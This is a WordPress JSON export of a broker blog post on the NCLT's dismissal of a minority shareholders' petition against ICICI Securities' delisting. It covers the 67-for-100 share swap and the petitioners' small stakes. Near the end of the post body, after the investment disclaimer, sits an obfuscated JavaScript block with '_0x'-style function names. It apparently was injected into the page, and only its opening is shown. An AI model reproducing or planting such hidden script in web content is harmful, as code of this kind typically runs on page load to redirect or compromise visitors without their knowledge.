{"id":8594,"date":"2024-08-22T09:42:12","date_gmt":"2024-08-22T09:42:12","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=8594"},"modified":"2026-05-26T04:26:21","modified_gmt":"2026-05-26T10:56:21","slug":"icici-securities-delisting","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/icici-securities-delisting\/","title":{"rendered":"ICICI Securities Delisting &#8211; NCLT Dismissed Minorities Petition, Nods for Delisting"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/icici-securities-delisting\/#What_is_the_delisting_of_a_security\" >What is the delisting of a security?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/icici-securities-delisting\/#ICICI_Securities_Delisting_Plan\" >ICICI Securities Delisting Plan&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/icici-securities-delisting\/#What_does_it_mean_for_the_investors\" >What does it mean for the investors?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/icici-securities-delisting\/#Why_did_minority_shareholders_file_the_petition\" >Why did minority shareholders file the petition?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/icici-securities-delisting\/#NCLTs_Take_on_ICICI_Securities_Delisting\" >NCLT\u2019s Take on ICICI Securities Delisting&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/icici-securities-delisting\/#Share_Price_Movement\" >Share Price Movement&nbsp;<\/a><\/li><\/ul><\/nav><\/div>\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">National Company Law Tribunal (NCLT), on Wednesday, 21 August 2024, dismissed the petition filed against <strong>ICICI Securities Delisting<\/strong> plans. Last year in June, ICICI Bank announced the delisting plan of ICICI Securities, in which ICICI Bank holds 75% stakes. Minority shareholders of ICICI Securities filed a petition against the same in NCLT. The Tribunal gave its verdict yesterday and dismissing the petition, nodded for the delisting plans.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Before we jump into the details of the ICICI Securities delisting plan, let us understand how delisting works and the role of NCLT.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-what-is-the-delisting-of-a-security\"><span class=\"ez-toc-section\" id=\"What_is_the_delisting_of_a_security\"><\/span><strong>What is the delisting of a security?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As per SEBI, delisting securities means removing a security or listed company\u2019s share from the stock exchange. This means the stock won\u2019t be available anymore on the stock exchange for trading and investment purposes.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now delisting can be voluntary or compulsory. So, for instance, this <strong>ICICI Securities delisting<\/strong> is voluntary as the company has decided on its own to delist itself from the stock exchanges. However, if SEBI or stock exchanges ask any company to delist then it must be related to non-compliance or other legalities which the company couldn\u2019t follow.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, in both cases, once a company is delisted, it cannot be listed again and thus delisting is also referred to as permanent removal of the company from the stock exchange.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-icici-securities-delisting-plan-nbsp\"><span class=\"ez-toc-section\" id=\"ICICI_Securities_Delisting_Plan\"><\/span><strong>ICICI Securities Delisting Plan&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In June 2023, ICICI Bank announced that it would delist its broking business, <strong>ICICI Securities<\/strong> from the stock exchanges via a share-swap deal. The <strong>icici bank delisting icici securities<\/strong> deal was valued at $622 million or above \u20b9 50 billion.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In ICICI Securities, the stakes held by ICICI Bank is around 75% which the bank wants to take up to the entire 100% and make ICICI Securities, a wholly-owned subsidiary of the lending bank.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">ICICI Bank will be buying the remaining 25% stakes of ICICI Securities and then delist it from the exchanges.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-what-does-it-mean-for-the-investors\"><span class=\"ez-toc-section\" id=\"What_does_it_mean_for_the_investors\"><\/span><strong>What does it mean for the investors?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As per the delisting agreement drawn last year, ICICI Bank decided to give 67 shares of the bank for every 100 shares of <strong>ICICI Securities<\/strong> for the delisting purpose. Suppose, you have 1000 ICICI Securities in your investment portfolio, you will receive 670 shares of ICICI Bank but the 1000 shares of ICICI Securities will get dissolved.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Post delisting of the stock, no traders and investors can buy or sell the stock and all investors holding the ICICI Securities get the <strong>ICICI Bank shares<\/strong> in the abovementioned ratio in their Demat account.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Share swap Method for Delisting&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As mentioned above, the shareholders of ICICI Securities will get shares of ICICI Bank, this process of delisting shares from any stock exchange is known as a share swap. In this method, stakeholders get shares of the parent company that is buying the company that is getting delisted.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The share swap is carried based on a share swap ratio which determines the number of shares a shareholder will get against the shares he holds in the company getting delisted. Last year, the share swap ratio was decided at a 2.3% premium.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-why-did-minority-shareholders-file-the-petition\"><span class=\"ez-toc-section\" id=\"Why_did_minority_shareholders_file_the_petition\"><\/span><strong>Why did minority shareholders file the petition?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Some of the shareholders which included Quantum Mutual Fund, Manu Rishi Guptha, and others filed a petition opposing the delisting plan of ICICI Securities with NCLT. They claimed that this delisting would affect the interest of the minority shareholders as the valuation of ICICI Securities was lower than its fair value.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-nclt-s-take-on-icici-securities-delisting-nbsp\"><span class=\"ez-toc-section\" id=\"NCLTs_Take_on_ICICI_Securities_Delisting\"><\/span><strong>NCLT\u2019s Take on ICICI Securities Delisting&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">NCLT dismissed the petition as the required shareholding for filing petitions or opposing board\u2019s decision is way higher than the shareholding of Quantum MF or Manu Rishi Guptha. They hold around 0.08% and 0.02% stakes in the <strong>ICICI securities<\/strong> respectively while the required stakeholding is 10% of equity or 5% of outstanding debt.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-share-price-movement-nbsp\"><span class=\"ez-toc-section\" id=\"Share_Price_Movement\"><\/span><strong>Share Price Movement&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>ICICI Securities share price<\/strong> has gone up in the past year by more than 27% and currently, it is trading around \u20b9 790 per share. After yesterday\u2019s nod for the delisting, the share had picked up too, gaining around 0.69% today.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/www.sebi.gov.in\/sebi_data\/docfiles\/20626_t.html\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">SEBI<\/mark><\/a>, <a href=\"https:\/\/www.indiatoday.in\/business\/story\/icici-bank-delist-broking-unit-622-million-dollar-share-swap-deal-2399707-2023-06-29\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">IndiaToday<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark>:<\/strong> Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Last year in June, ICICI Bank announced the delisting plan of ICICI Securities, in which ICICI Bank holds 75% stakes. Minority shareholders of ICICI Securities filed a petition against the same in NCLT. The Tribunal gave &hellip; <a href=\"https:\/\/shoonya.com\/blog\/icici-securities-delisting\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;ICICI Securities Delisting &#8211; NCLT Dismissed Minorities Petition, Nods for Delisting&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":8605,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[2241,1082],"tags":[4869,4871,4867,4866,4870,4868,4865],"class_list":["post-8594","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-general","category-latest-news","tag-icici-bank-delisting-icici-securities","tag-icici-bank-shares","tag-icici-securities","tag-icici-securities-delisting","tag-icici-securities-delisting-date","tag-icici-securities-share","tag-icici-securities-share-price"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>ICICI Securities Delisting back on track with NCLT Verdict<\/title>\n<meta name=\"description\" content=\"NCLT dismissed a petition against ICICI Securities delisting filed last year where ICICI Bank will buy the whole of the brokerage arm and delist it from the exchanges.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/icici-securities-delisting\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"ICICI Securities Delisting back on track with NCLT Verdict\" \/>\n<meta property=\"og:description\" content=\"NCLT dismissed a petition against ICICI Securities delisting filed last year where ICICI Bank will buy the whole of the brokerage arm and delist it from the exchanges.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/icici-securities-delisting\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2024-08-22T09:42:12+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-05-26T10:56:21+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/08\/ICICI-Securities-Delisting.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"ICICI Securities Delisting back on track with NCLT Verdict\" \/>\n<meta name=\"twitter:description\" content=\"NCLT dismissed a petition against ICICI Securities delisting filed last year where ICICI Bank will buy the whole of the brokerage arm and delist it from the exchanges.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/08\/ICICI-Securities-Delisting.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/icici-securities-delisting\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/icici-securities-delisting\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"ICICI Securities Delisting &#8211; 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